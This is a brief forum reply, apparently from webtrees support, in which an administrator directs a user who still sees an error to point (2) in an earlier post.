  • Administrator
  • Administrator
  • Posts: 14515
> Still got the error.

See point (2) in post #8
Greg Roach - This email address is being protected from spambots. You need JavaScript enabled to view it. - fisharebest.webtrees.net

Please Log in or Create an account to join the conversation.

  • Page:
  • 1
Powered by Kunena Forum